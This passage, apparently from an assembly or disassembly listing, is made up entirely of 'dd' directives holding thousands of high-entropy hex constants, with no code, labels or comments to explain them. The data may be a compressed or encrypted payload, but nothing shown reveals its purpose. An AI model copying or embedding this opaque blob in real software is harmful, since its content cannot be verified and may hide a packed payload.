dd 30FC4982h, 0AE004439h, 141144B2h, 590D6A5Ch, 30602243h
dd 0F2C0387Fh, 0A501820h, 7A0314E2h, 8DEB89D0h, 0ED2DE854h
dd 0E52AC178h, 0B283CCE3h, 0A1074E30h, 2DD1B6CEh, 0F82E5542h
dd 0E2C0B313h, 7CB3069h, 0D8D04905h, 68FD6DFCh, 1FCEEE12h
dd 0B1697B9h, 3C7AEF88h, 65F73700h, 34D9109Dh, 0B03227B5h
dd 383DA011h, 972A0DD4h, 0AC084154h, 0A4E8E0A1h, 0F0FD2CC4h
dd 0B0CD47D4h, 8D317497h, 148C32FDh, 8F98361Ah, 0B8C4C5D5h
dd 0A4C82C27h, 0F02017CCh, 0EE17E464h, 54E315EAh, 403264B2h
dd 297BF143h, 28D8FBFDh, 6FF32084h, 31603030h, 3537C2h
dd 9FFAC4B3h, 7E31758Fh, 7617C500h, 0A9B88B40h, 0C98A4FB2h
dd 72E6C178h, 7A607A00h, 0EDBE4349h, 2831030Ah, 65FD676Dh
dd 0B2DC91A5h, 5FF068B5h, 34C15C9Ah, 0C1486CE1h, 0A4536EE5h
dd 9D41D830h, 0B7FA0083h, 0ADCDDD5Ah, 0B4279B36h, 44A0E42Ah
dd 0E6955BB2h, 5E04B604h, 7C18FDh, 8DD6B4CAh, 923AA37Fh
dd 2FB9C40Ch, 0F59161h, 0FFB7B3B1h, 0F5F5BB4h, 0D6281A1Ch
dd 0AE1584C3h, 4280808Fh, 5CBF5CAAh, 6359E20Ch, 0FB0705F1h
dd 7F51B262h, 0AD03A27h, 3BDD6D1Dh, 1BA4F21Eh, 0CB66823Ch
dd 104130FAh, 28D1E241h, 0C5187B79h, 0B3CE3400h, 1F8380D9h
dd 5C24B710h, 298A206Ch
dd 35ED094Ch, 50525A02h, 0C4CB3200h, 0FF333FC6h, 19606359h
dd 0E9E0BCD4h, 0F000C844h, 3D6DA726h, 47D8F86h, 0E66349BFh
dd 0B8C0A929h, 4E90B07Dh, 0FE588816h, 4E7C8C40h, 0C874CB2Eh
dd 47E4C306h, 221A029Fh, 58C438D8h, 0D502756Ah, 0B0D9295Ah
dd 79186579h, 91949D9Fh, 0B73897Dh, 48CC0553h, 0FE00FCACh
dd 41709437h, 0D84EE55Ah, 83C000DAh, 261233D8h, 3C905A5Ah
dd 1F678782h, 54DF11h, 17F2E03Ah, 0E64A5218h, 0CF93495h
dd 650E71B8h, 17C19D9h, 70DB5B39h, 996806Ch, 0DCE23AACh
dd 6453608Bh, 0C45E970h, 0E6C7860Fh, 7C80E0B0h, 0C8400268h
dd 539CB179h, 701076C3h, 1504DE26h, 89104BA2h, 2081FC24h
dd 9BCF3718h, 800FFA48h, 0B004EBABh, 512AEFF8h, 0D4D07CD2h
dd 7C4CB990h, 9902DA80h, 8F0B8C40h, 0C87BFB35h, 43F30E94h
dd 796D08E1h, 0CC45CB03h, 0B2606864h, 0AD00B81Ah, 844AFBACh
dd 172D4BFDh, 6F763011h, 0FB3F003Ch, 42C2943Bh, 2D0302D7h
dd 887CCD16h, 8EBF8048h, 0EC05Eh, 0A630A086h, 801E0h, 278AB3C7h
dd 7E5DD0AAh, 6CCF8400h, 44FA5C81h, 0A17C070Eh, 0C02A044Ch
dd 811FFBAh, 20A02BB8h, 5C0D8714h, 9ABD6CBEh, 0EFBD0h
dd 53857873h, 0B4688C01h, 5DF4B10Ch, 0CA7285Bh, 80150C5Ch
dd 36006139h, 300AA67Dh, 660268DAh, 21770820h, 0E07DC3A0h
dd 0B592C01Fh, 37672307h, 564A45B0h, 60DA306Ah, 0B4838128h
dd 0ECD9B9C0h, 7D096CEh, 9076B3ADh, 0BE9B0354h, 0F52F81D1h
dd 4C07D26Dh, 0F4039DA0h, 0BA400CACh, 5908C4EBh, 0B6A721C0h
dd 72F7259Dh, 2A3F00E2h, 60E5C154h, 1C01DAA3h, 0B1B357CEh
dd 0B1804DEAh, 620FD708h, 180E61E9h, 0A70239F1h, 60403354h
dd 492CBCAh, 0E08C687Fh, 0F61E4038h, 0ED7D6DDh, 0A1FB82D4h
dd 0E0620DA6h, 0A7CF081Dh, 10055073h, 0B14A28h, 0F4C27D45h
dd 1899929Ch, 50B6505Eh, 0A36C3869h, 8C2CF0C1h, 69DB904h
dd 6662C4F4h, 9DB1AC20h, 16100078h, 0DC520B50h, 777163E2h
dd 3D0C79B8h, 80D2C2D6h, 590D6983h, 84AF1B01h, 0DED180BDh
dd 373640A6h, 60650C98h, 0C508A83Fh, 9EFC21C0h, 89E740h
dd 414D7AB8h, 61696BBCh, 9C080214h, 8CC7B828h, 4DB92300h
dd 71581C2Dh, 0C5D490Ch, 4350200h, 0F57DE51Dh, 0FE103861h
dd 21817028h, 0A8FC0DF7h, 0DD80CC7Fh, 13005976h, 0FFD4E787h
dd 0FF5DF72h, 63E30E36h, 0F848C6Ah, 0F38544A2h, 23CC013Eh
dd 910E21E2h, 0A180B4B8h, 80373940h, 0F9C4448Ch, 0C6033998h
dd 2EC1EB79h, 0CF69E804h, 206A4927h, 0E50EF601h, 0D875C27Eh
dd 0A378A41Dh, 0DDEBA605h, 0C405C906h, 0FC44B9ACh, 3232413Bh
dd 0E09DBB30h, 229446F4h, 0B3AA0165h, 47EEE39Dh, 0D0F7D92Ah
dd 1348A7C5h, 0F6C880F0h, 2805AEh, 6D4C10Eh, 0ADE7A12Fh
dd 1D547149h, 0F8A08FD7h, 20CA3B7h, 0F601AEB0h, 0D900C54Ah
dd 32C11E07h, 2BA84EFFh, 109DBA30h, 0E0CCF407h, 29DB2ABh
dd 763B6A30h, 6C623598h, 0C711BC1Dh, 8545FD80h, 0DD39E623h
dd 0C0EA24F5h, 476BE582h, 0A0F48A88h, 3584674h, 0A2D5F35Eh
dd 0DB5001D6h, 53D259A8h, 302E02CCh, 4119DB7h, 5A88B4F4h
dd 9DAFAE80h, 9C0B351h, 6B8B63E5h, 36DEC421h, 3E6900BBh
dd 0D831D043h, 722AC0DEh, 0B43F8FB3h, 2564DB0Fh, 210C2C1Eh
dd 4B430C81h, 13508A5Fh, 0E2197060h, 1407B89h, 0A6E861A3h
dd 0F0971826h, 0DC00E4F6h, 0CA999582h, 2ADDB8Ah, 0E70A8B89h
dd 0FC885C83h, 8BB011C4h, 370182A5h, 0CAC4B1A0h, 409DFD10h
dd 3747D49h, 1C043F83h, 0CAC2C099h, 0EC0F0010h, 0AC576D3Ah
dd 0D771FC8Bh, 2C4DFD24h, 0CBCF5203h, 1F780467h, 8E9B08A2h
dd 0C7CB8804h, 2BEC0038h, 0A30C0439h, 21BA85C5h, 0DDF30ABEh
dd 16B4D5AEh, 29160906h, 53C2C90h, 0E3B82E00h, 0DB854902h
dd 444874FAh, 0D001D74h, 2C5952Eh, 6083668Dh, 27B859B2h
dd 1900D745h, 3F5514FCh, 0C6E608Fh, 6199B737h, 0DF100EE0h
dd 0EF063D3Bh, 187045E7h, 68D9B101h, 3746967Ah, 989165D5h
dd 2E04809Eh, 8C0AE3B7h, 21E7244h, 91972E0Ch, 18C996E1h
dd 3BEB106Ah, 57DB1A79h, 589D5890h, 0E4815911h, 0C9643FADh
dd 0C6BC412h, 10D08C60h, 3061E7FDh, 5D315C97h, 8200F73Bh
dd 0B81B2E20h, 61D5A1h, 3E4D43CAh, 5F40ED57h, 221A3F00h
dd 0F1933B9Eh, 0ECB11230h, 8C584682h, 0C0F1D9E8h, 69602A9Dh
dd 21CEF711h, 41EE26EDh, 9B98005Ah, 16C60212h, 5F0F90Fh
dd 809C35BEh, 0E3BA2E07h, 224843F2h, 0F1B0077h, 13C7192Eh
dd 0A022F3Ah, 0B69A23Ch, 29489ABh, 126E831Ch, 279AA005h
dd 0BB2E0030h, 0CCA72AE3h, 2E082200h, 989A7FDh, 0B3F2D5F5h
dd 4B993C00h, 58C366ABh, 186F0671h, 0F9CE8331h, 4D033E89h
dd 1E9A72E7h, 6A009F06h, 1F205BAh, 0DF33CE8Ah, 0EE55E89Bh
dd 180DC0E1h, 0A57D0835h, 79C4380Ah, 7D2DC040h, 1B0017B3h
dd 8D07EBCBh, 2E6A1DA1h, 0A84C3BEFh, 4339205Ch, 0AFDF1C11h
dd 31EF077Ch, 8306A85Ch, 0B870860h, 20954C57h, 54B5F078h
dd 456B80FCh, 0D8A2EC65h, 0BD81C906h, 6046176Dh, 860F25D0h
dd 0DC0013Ch, 2960F1BFh, 1AE530B5h, 8B61F928h, 1ED9D1Ah
dd 0B87BDD10h, 58364D58h, 2503CE80h, 0E381F947h, 0F85C7786h
dd 0A4CF009Ah, 0FDB0B74h, 1A606B85h, 0C156CD7Dh, 0CC97AB2Dh
dd 0B5188B90h, 0F5BA2899h, 0C5BD1483h, 0EE6392EEh, 39180B84h
dd 810B4FE9h, 0DBEA02C6h, 85C76122h, 0C2AD188Dh, 25BF17Fh
dd 1D7D8D29h, 172ECBA6h, 0A5BD8B1Ch, 84218420h, 1FE9FD6h
dd 0BC60A0D6h, 85C5AE8Dh, 601C4424h, 0E19C7F2h, 0EA5CD5F8h
dd 1EBEF140h, 4B5AEF59h, 0D2D40ABh, 57922707h, 3ABE6600h
dd 0FF2381F1h, 0DDCEE5FEh, 9A58F3DBh, 93B03873h, 21B58986h
dd 8B48C62Eh, 0DB8C1600h, 0C06D9AFAh, 0F1570E5Ah, 9951089h
dd 28F63E31h, 0B35BF004h, 23133BBEh, 0DC161Ch, 0D70DD0DEh
dd 0A8064F34h, 68D95FFh, 3056B766h, 0FFF25AD6h, 9B827B40h
dd 7DC77F8h, 9358E5BEh, 0EB8A507Bh, 5C06A403h, 11E8BF6Bh
dd 735A002Fh, 200C3AF0h, 0DC00A64Ah, 8F18521Fh, 0F5D5FE5h
dd 50905EFBh, 5520852h, 18A0BF81h, 31ED1334h, 6C8FE740h
dd 5058165Ah, 3F8BAA90h, 32C71B88h, 0AFF272E0h, 0BAC80003h
dd 0F9FE8B66h, 6EF3EAE9h, 0C8BDCBF9h, 0E2392797h, 0F7D32D78h
dd 0E487BD12h, 0B01298CDh, 3375BD44h, 8E70E604h, 0C01A8849h
dd 9E3D6FB4h, 0FD7BE816h, 3AEC90AAh, 850096DFh, 0A61D1BCBh
dd 97E49BADh, 0AAD8C085h, 15E23CE2h, 48516E30h, 0BF02A8F9h
dd 0BA5FD313h, 9D102466h, 8B123189h, 23ED3AC3h, 51290214h
dd 53DD8F0Fh, 0AD368039h, 5E1C17ABh, 4E8C101h, 0DE9BD33h
dd 0F7667280h, 65B52BE2h, 0C0120E6Eh, 6DE681D8h, 2D6802B3h
dd 241C8950h, 1D441747h, 3D4CB460h, 9AC76D0Fh, 671E4034h
dd 59F5BD23h, 0FF163113h, 0F84C22B5h, 1B31B240h, 73DDFAFDh
dd 526E5883h, 7E127590h, 180A5E9Fh, 220011E9h, 48FD3C2Ah
dd 659B0055h, 8193BEE2h, 0FE021295h, 327CF8BAh, 1D2B42F3h
dd 0C01C11F5h, 0FC558B76h, 216F0428h, 4009E903h, 0A6236194h
dd 34A409DBh, 2C22DF7Ah, 0A340F9B7h, 61783CFBh, 2458316h
dd 0AC02817Bh, 0E35760DEh, 0D9693840h, 74B55E92h, 1702D623h
dd 748EDB40h, 0D4DAD74Fh, 0CF55400h, 0BF7D3EE5h, 4E910151h
dd 0A9B5012Ah
dd 31DF4502h, 800EE871h, 59F7440Bh, 17EEAE61h, 0B8AAEF74h
dd 0DA7C0430h, 80805FFCh, 6A65BD2Bh, 0AD584415h, 8059B5DDh
dd 9F4766FCh, 9D09E164h, 28410A75h, 465C2877h, 56510119h
dd 0A7860BA8h, 9505DA55h, 0D36F58F5h, 0B4B07E02h, 70608BF1h
dd 898021E5h, 1AA124BDh, 880F41C5h, 3340753Eh, 301CA23Ah
dd 1676EF90h, 0EB53CF00h, 0B503BAAAh, 7125617Dh, 22EF595h
dd 0B71D50B9h, 61DC8174h, 83F0CCCAh, 73DFC2C1h, 9F535838h
dd 8109001h, 0D20A6C77h, 4F960E8h, 617DE680h, 8667813Bh
dd 0D3DDC2B4h, 570C7895h, 9BC5650h, 0E35F1140h, 0E6D94570h
dd 8DDE0581h, 0D2C1F669h, 0D51A7525h, 21F87779h, 9BC4077Bh
dd 0A782A1EAh, 26B25B3Bh, 1EF97982h, 0F7815B00h, 0C28397Ah
dd 23C31CFDh, 1E3459B5h, 2908D13Dh, 672A31DDh, 0A1AC2DE9h
dd 4158DE4Bh, 401A41B7h, 0C08BF66Eh, 62098174h, 0F29FB40h
dd 0B8D84ACDh, 1C4674h, 645213AFh, 470C56Ah, 85C7964Ah
dd 1142909Dh, 5D583891h, 16151AECh, 10D1DF14h, 8D181DD1h
dd 0CF5E9300h, 0BE071E60h, 38CE4BFEh, 1260857Eh, 1DB5333Bh
dd 0FF20CF09h, 8B1C1694h, 0D99374BDh, 32ED6E54h, 7201E1ACh
dd 0A902F10Dh, 7662A1A5h, 3226B92h, 0CDF357F0h, 0BF80BF12h
dd 486686DCh, 0B06674Eh, 5E1F41B5h, 6BBF905Bh, 54FE0034h
dd 0B8DA0248h, 20897285h, 53A02A09h, 0DB2921FDh, 18D18744h
dd 0B10BB818h, 7F2B097Eh, 89177DE4h, 0F65FC1B5h, 0C2FEBF0Ah
dd 280A9508h, 96D616CEh, 0ACC8AF25h, 28CC007Fh, 8D9FA65Fh
dd 82320FEDh, 43561D02h, 0CD1D94Eh, 5B042A6h, 2EFCF1B7h
dd 1F14235Bh, 4FE7006Dh, 0F2867EBh, 989955EFh, 0C9018333h
dd 0F2D04A8h, 0D8F01773h, 600D077Bh, 4424ACh, 0F50EEAA6h
dd 0B20EB4B8h, 0CF3A6D09h, 9D95E2D7h, 0E79E6D6Fh, 0DC800F32h
dd 0D221BCB5h, 72552826h, 0B030108h, 0C07DE2E9h, 270FF2E0h
dd 5B103980h, 0E8812FD9h, 0DB56440h, 0E12300EAh, 0EF673BA2h
dd 0E9008CC7h, 0F8A6EE70h, 58965FD8h, 3BC0F005h, 0C4144334h
dd 29F12200h, 2D186079h, 5F2500DBh, 7C326ABFh, 0F9135E10h
dd 273AC18Bh, 0C4001623h, 0F78BAADAh, 46C2FDEBh, 279D341Dh
dd 0EEE6FC4h, 32858D28h, 82DB2DC4h, 0E8611AC2h, 0B4002D7Ah
dd 0A9C8284Fh, 127CE203h, 85C8DDCh, 0A49612F4h, 0B2B9DCBAh
dd 23EEE55Bh, 0B58C5E4Dh, 0FB030EFh, 80C316Ch, 5A611260h
dd 0E8EAD158h, 0DD2D4007h, 44F4B3F3h, 0E5BF6C01h, 5F3DACA3h
dd 0E804E87Ah, 352D8C14h, 1937F56Ah, 9F389607h, 8780EFE0h
dd 0B71450E1h, 0ABFA16E4h, 2C6F06h, 0CC8A7923h, 390F62C5h
dd 9CF8ADFEh, 4251641Ch, 5305C083h, 0B6BA70EAh, 5AE96601h
dd 0CD03222Eh, 8A0C5930h, 390BD1C2h, 19E1467Fh, 82240489h
dd 5F0B4280h, 0BBFADDh, 0F5C9469Ah, 0EE16B46Fh, 0D6FAAC02h
dd 6AC84952h, 5A7740D8h, 14081AC5h, 7B46145Eh, 0BAC9500h
dd 0DB22D68Ah, 2027B0A0h, 5CB72541h, 20074BBBh, 8D1D989Dh
dd 0AB8C7F44h, 9CD3BDB0h, 16465ED6h, 6BF4210Dh, 571C00FAh
dd 9EB05FF8h, 0C233F124h, 0F2AB4CF6h, 0E9CC602h, 76D96FE9h
dd 8FAEEC2h, 14465C5Fh, 1578EE26h, 3C5A9619h, 0D6B74D8Ch
dd 4900F490h, 0BF66FAE2h, 258BC5E9h, 0EB086D9Dh, 0F016D628h
dd 9DCDBAF9h, 2178EED8h, 0AB91E631h, 835E5101h, 6CF8F7BDh
dd 12418E78h, 358524DEh, 0EB4EAEEh, 0FB305BC9h, 184C5B2Bh
dd 74BE2760h, 71FDB7A5h, 14E02FFh, 0D0507BD7h, 5F004903h
dd 36F67511h, 2C29E6BEh, 4F307AAh, 0B732E9F8h, 4E83B514h
dd 5B508486h, 6F9D2C9Ch, 8D141E68h, 0FE56CAF3h, 5EA91905h
dd 26A89FB2h, 191E1A0Ch, 41A17011h, 4D9D6834h, 47FBCA2h
dd 0BD89D539h, 33B6E051h, 0D5BB577h, 9F98A262h, 811791A0h
dd 210CF12Fh, 20E9352h, 0CFE48E0Fh, 0BA5F572Dh, 40F9EDABh
dd 7D0D4666h, 0D4B99D00h, 0FD0E77Fh, 20FA5FBFh, 84A84986h
dd 4470DF02h, 416650CCh, 0D235E516h, 0AC1FED6Fh, 877000B8h
dd 0E28D329Eh, 0CE018116h, 31B28EF3h, 4E7423E9h, 3A5607BFh
dd 9B0486Eh, 0ADC0C2EDh, 287314F0h, 2DD48E8Ah, 7F9A0621h
dd 0E161E56Dh, 0FA2C890Fh, 71E4F8C2h, 1944A967h, 47088060h
dd 53E9C116h, 0CAA63685h, 35CBCE0h, 854FA709h, 290F007Ah
dd 0B40F79BDh, 0E1CDC929h, 1C40C2C0h, 0A30A245Fh, 0BBDE3FECh
dd 0CEFE4660h, 0CD6700B9h, 2EE697DEh, 4D002336h, 24CC3B11h
dd 16771464h, 0EFC38B5Eh, 0FCC04A9Ah, 284C511Dh, 0B98D8909h
dd 0B78A2219h, 577D0FEh, 245DEBEh, 2957A16Dh, 29C8BDAFh
dd 2B8A166Bh, 0CD90EAD8h, 0D16931h, 0C3E66212h, 948BA73Fh
dd 29F67E01h, 939D8FC0h, 0E88F1E78h, 808E5F1Fh, 0C682BF50h
dd 93027CFCh, 112F2EBEh, 0AD8B7314h, 80FA1FFFh, 620BE457h
dd 7E140365h, 163FE86Bh, 1E0B5BA9h, 1E647512h, 1A5FFC27h
dd 81F3C19Dh, 9C0FFAD2h, 32609E0h, 0CDD78F0Bh, 2CE06069h
dd 0B30E7755h, 32BF2DF4h, 0B90E8E13h, 0B637EFE5h, 2330D5D2h
dd 0A8CCBD33h, 9D8905CEh, 0ED5426ADh, 186E4E87h, 0FB0F2500h
dd 0F57536A8h, 858914C1h, 5A8C2C69h, 8D10605Fh, 0EA8B2540h
dd 48BEBAEDh, 16DF9661h, 1B9ABFC3h, 0E03532C2h, 28B5DE60h
dd 8A058088h, 2E74B422h, 49545C4Ah, 1E9D01DCh, 0B59998BAh
dd 8F4CD957h, 0B2D6D758h, 0FB8B8042h, 6429672Bh, 0D0106719h
dd 0B9A9E5Fh, 99B52BD5h, 6E58B5E1h, 0A7AC2EA9h, 8FF83360h
dd 0B64C4253h, 172C91D2h, 683F07B9h, 98021723h, 8BBB79D2h
dd 42DBABBBh, 3D7482A8h, 83490B0Eh, 53AD6FF1h, 0B3B9F281h
dd 81E26076h, 7C02E20Eh, 0CA8A0FCh, 0B68473AEh, 0B14E3173h
dd 77A1222Fh, 7A681F41h, 79539C8Dh, 0FA57B8FCh, 0F4920772h
dd 15309C82h, 0CA3394E4h, 0AC374DF8h, 2803024Fh, 5B762ABCh
dd 0B019582h, 0DDFB2B07h, 8F61FDCDh, 0A4DAB6BEh, 660E2DBCh
dd 0BA6CFAEBh, 9F311145h, 85C0DBC2h, 0B6718D29h, 3FFB5B61h
dd 23580099h, 0AD0A090Fh, 87921637h, 80C0D590h, 0C722815Ch
dd 6D0854Bh, 48BFE1D9h, 3B469578h, 0DFC1A5F0h, 7F16D714h
dd 77BD0196h, 2F359501h, 85A1942Dh, 85852830h, 0A2B726B1h
dd 0F08C204Fh, 0F3007BF6h, 0E89AD391h, 15B4097h, 6423FFD9h
dd 0ED6986E5h, 53F209Ch, 1653BF88h, 600A6C33h, 4DE78135h
dd 0C606316h, 0B426A3DDh, 0B9FA51B0h, 0E348EB05h, 0CD81674Ah
dd 57020639h, 611F30CBh, 64E5905Fh, 0F603F5Fh, 5267454Ah
dd 84F4BB58h, 1E7945h, 7CDACEC1h, 0A475AF14h, 0C3A8DE00h
dd 0D8DD80D9h, 4E329061h, 4966EF7h, 0F1B58918h, 0A2BB69D5h
dd 11414CC3h, 0B7162005h, 0ED1504F3h, 290C1802h, 0BE71BC07h
dd 7CC71F24h, 74161546h, 0B306FB0h, 0A4BEFE2Eh, 0C8132684h
dd 18F01D8Ch, 0A232E500h, 870840EEh, 89410026h, 3846ABB6h
dd 5F50F52Fh, 0D89279CFh, 367895B3h, 338C01B1h, 0C18D31A5h
dd 0C9924906h, 0C02C5B28h, 2F8E64B6h, 9CE92D5Eh, 6E8BBC89h
dd 0BB5A803h, 0E5C85592h, 5B99C18Bh, 8B181BD1h, 50B09A01h
dd 345F8673h, 94F3BC6Eh, 44F8272Dh, 74C80038h, 0E7D5C551h
dd 973C5B86h, 119480DDh, 41CDF0DCh, 69A8B6E6h, 1E80B8B7h
dd 20ADBD5Ah, 5F2E9065h, 0FEAB160Dh, 0CEC23DDAh, 0C4683FCDh
dd 1D359531h, 0D4A74E01h, 23DE2B4Ah, 0CFE90017h, 50F543C5h
dd 169160D4h, 11DB2404h
dd 4BDDAE97h, 40DB48BDh, 973F7312h, 1D008651h, 0A5D089E3h
dd 0A060F652h, 91329992h, 61D205D5h, 0B2B3B35Eh, 0B326301Dh
dd 5BC07500h, 0A8F78D59h, 0B979812h, 6EC51419h, 0A000AAE2h
dd 6AC0594h, 5BDC209Ch, 0EEA91669h, 97E10CD1h, 0F91AD8h
dd 8971046Ch, 64C7D706h, 0F205D3EAh, 90426D66h, 0E0497C3h
dd 5E575035h, 8360173Dh, 1B708269h, 5A2431ECh, 618B6458h
dd 8E66DF90h, 0FB981B90h, 59A4C3DCh, 7F620EF4h, 700B9E65h
dd 4502F104h, 0AAB3F18Bh, 4EBCD249h, 0C5853108h, 5002417h
dd 0B32A08C7h, 3F6E4EC5h, 4DA72100h, 0EA94D76Dh, 2FBFE401h
dd 523A9C93h, 5EF19A40h, 0F5D32DFFh, 0BD29CB98h, 1672754Dh
dd 0B0CE3BE9h, 0B20E9E24h, 91D9F948h, 8B4721E4h, 0BD30649Dh
dd 2FD51028h, 8157345Ah, 50779A8h, 0D3BB57A4h, 80169B75h
dd 0AD7E6DAAh, 0DE8024A3h, 83908A4h, 9F85831Dh, 7DB4AC03h
dd 0F663B476h, 4F6FD60Bh, 0E90CAD3Dh, 3AF96Eh, 291E2A74h
dd 451378h, 0B540719Dh, 0F6F9B438h, 0E95FC209h, 0AABF75h
dd 4313CEB8h, 0E950E3A5h, 7C07553Ch, 2E4DEEF9h, 0D54EA3F0h
dd 0D8860152h, 0C75D9B2Dh, 2D834985h, 0E9F90D9Eh, 10090D2Fh
dd 0F43A13A4h, 944DAC03h, 98F215C8h, 48FC57B3h, 7BD40A8Dh
dd 0A47E70Bh, 52B08566h, 0B521D52Dh, 82CF2365h, 939D1F4Dh
dd 56175AD9h, 80279EEAh, 0F6C07A27h, 0DD5138Bh, 17AB28Ah
dd 0BFD1EC22h, 632C15F3h, 0A5CB29CEh, 0B850B7A4h, 8E92DD67h
dd 304C50B2h, 62804C7Fh, 4565BDC5h, 0EF3CE992h, 1BB2F2B3h
dd 3E9B3530h, 0B00BCD05h, 0ECA4781Ah, 0E68BF414h, 8D6E704Bh
dd 0B37BB600h, 90BF66B8h, 71E4B212h, 8401D96Fh, 0A15F59EDh
dd 9509C45Dh, 900BC527h, 72BE6693h, 4BF4B4C1h, 0D2838B37h
dd 0A1BDD19Ah, 2ECBFEACh, 3F972DBAh, 112F1048h, 816D305Dh
dd 0E4D800D7h, 1E78EE2Ah, 0F92734EFh, 0DF6D8B5Fh, 5067DF4Dh
dd 0F308ACB0h, 0F531C0Ch, 443CA887h, 0CF030309h, 0FEA8D33Fh
dd 81A44E70h, 6BE2F744h, 77F896Eh, 2B271494h, 15B562D8h
dd 8B50B1A1h, 0E5163FF7h, 3B01996Fh, 0E96A111Ah, 0B819A40Dh
dd 0D9415600h, 4CF4535h, 71E796E1h, 3BD6B38Ah, 37524B23h
dd 430AD69Dh, 9DC11588h, 3738B0AFh, 941C0917h, 8930C583h
dd 0CE5144A4h, 0C01A88D7h, 31EC410h, 3C1DE916h, 286FF292h
dd 430CDE9Ch, 0B26D0FA7h, 652F5BC5h, 0A894A90Bh, 0C71E00A0h
dd 69D01DF5h, 8B1CFC60h, 3A2D2DB5h, 700DFBFDh, 3F488653h
dd 447A189Ah, 8310015Ch, 9A18F9B7h, 4E0EBBACh, 4134B9BDh
dd 609036DDh, 5C9F630h, 858B3192h, 6A48B515h, 80E63E56h
dd 4DEB48E3h, 0F57B9412h, 0F6819040h, 48E02312h, 6E4B7735h
dd 0BB3C1042h, 4955B512h, 3BB75858h, 2C214E87h, 4B32C4C0h
dd 76BE05C9h, 0B561AA81h, 642BEE12h, 4ECC7AB0h, 0B5D6E053h
dd 82D6A17Ch, 1D88229Ah, 74A9F3C0h, 1E5E0240h, 5BF1E435h
dd 7F05AB5Ch, 28B1F9E2h, 0D4B8133Dh, 37484F00h, 231C84C7h
dd 816B0173h, 8D7649E6h, 224D6D7Dh, 0FA1CC1D5h, 6C0CED17h
dd 31235A3Dh, 0A6EB8591h, 0FB79F07Ch, 60C418E2h, 118850FDh
dd 47C05E8Ah, 3ED960BCh, 0F802EB09h, 7175EAA7h, 0B4DFCC5Eh
dd 0D0E3479Eh, 2E53E41Fh, 1D23395Ch, 2CDFE2F8h, 34CFD200h
dd 90C32B5Bh, 0E4702744h, 6D25C7E7h, 0B4ACC7F0h, 0A94484C8h
dd 33E91994h, 7A3FF523h, 5F640087h, 0DC1A8CC2h, 40751733h
dd 94B9B089h, 852731E2h, 0F1438951h, 15CDA7F1h, 0F483FC40h
dd 4F07FFDh, 6D85C74Ch, 4377011Ah, 6E3F398Ch, 0AC73A71h
dd 0BB0EEF58h, 86EE060Ah, 89C0A32Ch, 0B60CA98Dh, 0A55ED952h
dd 0B5372Dh, 0B813FDE9h, 3D2633A4h, 18968A3Ah, 0DD6675DDh
dd 0FE0DB0F7h, 0E6030903h, 9D29A678h, 890ED4A1h, 0A7165DCEh
dd 0BD010540h, 0AA8E0AADh, 801EDA5Bh, 75BD8934h, 8807BE27h
dd 0E9241461h, 0F90BE424h, 8D239007h, 82B7AAA1h, 5E75956Ah
dd 88BB0047h, 613642BCh, 45150DB5h, 1EDEEB60h, 0F48D01DFh
dd 8163E83Bh, 6E136B20h, 5EAD0630h, 84B09B45h, 6B809D4Fh
dd 4ED67EEh, 292785BFh, 88C68E4Dh, 2AB8C315h, 0D7D6B617h
dd 801FE8E0h, 0F059B70Fh, 0B8BCDBh, 9ED2C775h, 0DF81A697h
dd 0EE96609h, 93CC8050h, 9801FA9Ah, 0F00C4524h, 241768EFh
dd 0A2054C41h, 0F23E2D25h, 9C3E1823h, 0E56898Ah, 0A7E212E6h
dd 2610A77Ch, 0C4E3E916h, 0C1779B69h, 604BBF99h, 0A86E6Eh
dd 0AC0E21A0h, 0E407FC1Ah, 96F4CE2h, 0F94C0122h, 1B5D100Ah
dd 380EB927h, 0E0BEF652h, 9BCC7DFh, 313DCADBh, 20FB604h
dd 744D8D21h, 0DE6B2CFDh, 111D312h, 2207C8h, 4F479681h
dd 0C3D0F7A5h, 0B75FF50Ch, 0B6416CF6h, 35DF2FA5h, 338480E4h
dd 0E9958B9Dh, 8D6507FBh, 66E66012h, 0B5EC86E0h, 201ECC26h
dd 2420791Ch, 0E65E183h, 2F1C2585h, 9EE0054Dh, 1E960B18h
dd 9344F259h, 84FE1143h, 29ECB749h, 2A986501h, 0B4FD50DAh
dd 408DF020h, 0BE91E92Eh, 2C5D9600h, 73B1E640h, 0C0150A5Ch
dd 9C6EF2BBh, 0B7FF2D23h, 0DA78B51h, 7CB2C200h, 614C2A4Dh
dd 80C604B4h, 598DD1D2h, 48C26A20h, 32883791h, 0DEBCCA24h
dd 559519D1h, 5961E452h, 71C01CFh, 0D0C3AEDCh, 57E8FECDh
dd 0E9764C1Bh, 7E30924Ch, 0C002F447h, 8D297328h, 1508DEC5h
dd 1276508Bh, 751F199Dh, 79DDA307h, 8A36688Bh, 0E6195B15h
dd 60DB34D5h, 0FCF15D36h, 0B6E2FFBBh, 0E4F010E1h, 0A4D3EF6h
dd 43B6D20Ch, 0A0DF34A0h, 39381A90h, 0FC8A8160h, 0F91BD29h
dd 0D78BB38Eh, 35950B61h, 5B1A3225h, 28DE7BD6h, 450C2C89h
dd 6E6E3A1Dh, 0CA79E30Eh, 66024C60h, 5A2A64BBh, 5E98378Bh
dd 22B2FF53h, 0DE8A1502h, 96673F8Bh, 0E7C94A45h, 0E6160E40h
dd 9C60F31Bh, 6B0E1CE2h, 722075B6h, 0FDA033B9h, 102EC458h
dd 5E2410DDh, 399D053Fh, 0ED59E41Ah, 0F890391h, 1AF59A81h
dd 0D97040E3h, 2CA8A42Bh, 0F69801EDh, 9300A3E6h, 0E8815414h
dd 627B7EAFh, 1A6D5835h, 18C4C467h, 0E4204A61h, 0D9D65EDh
dd 0CD3DA5D8h, 0F8B5C0B9h, 0BE604101h, 2172790Ch, 40DDBD70h
dd 0BF91612Ch, 12076DE2h, 1C11671Fh, 38DDB380h, 320B5E0Ch
dd 0F07FCA4Dh, 201049AAh, 6FF728CBh, 4E2540D8h, 7F74A5C7h
dd 0DA813902h, 6AEC1FF2h, 81C4370Bh, 37877FB4h, 0AD89410Ch
dd 85C7011Dh, 6FD2202Dh, 837E1C0Fh, 0F977EB84h, 352988C1h
dd 94766102h, 9E9C00DCh, 491B97B9h, 365C7427h, 31551072h
dd 6107EB02h, 0E5F2E99Dh, 0C0EE6D95h, 5EF4CED3h, 9416EA09h
dd 461BE0DBh, 0C428A511h, 6E7E6018h, 0F15F4856h, 4FEBC100h
dd 0FA251C8Fh, 0A108AB01h, 0A4ACDAC6h, 71D2D4E8h, 7E4705Ch
dd 0F53134CEh, 0B327501Bh, 5BF2D129h, 2AC7DD07h, 0CFCF17E6h
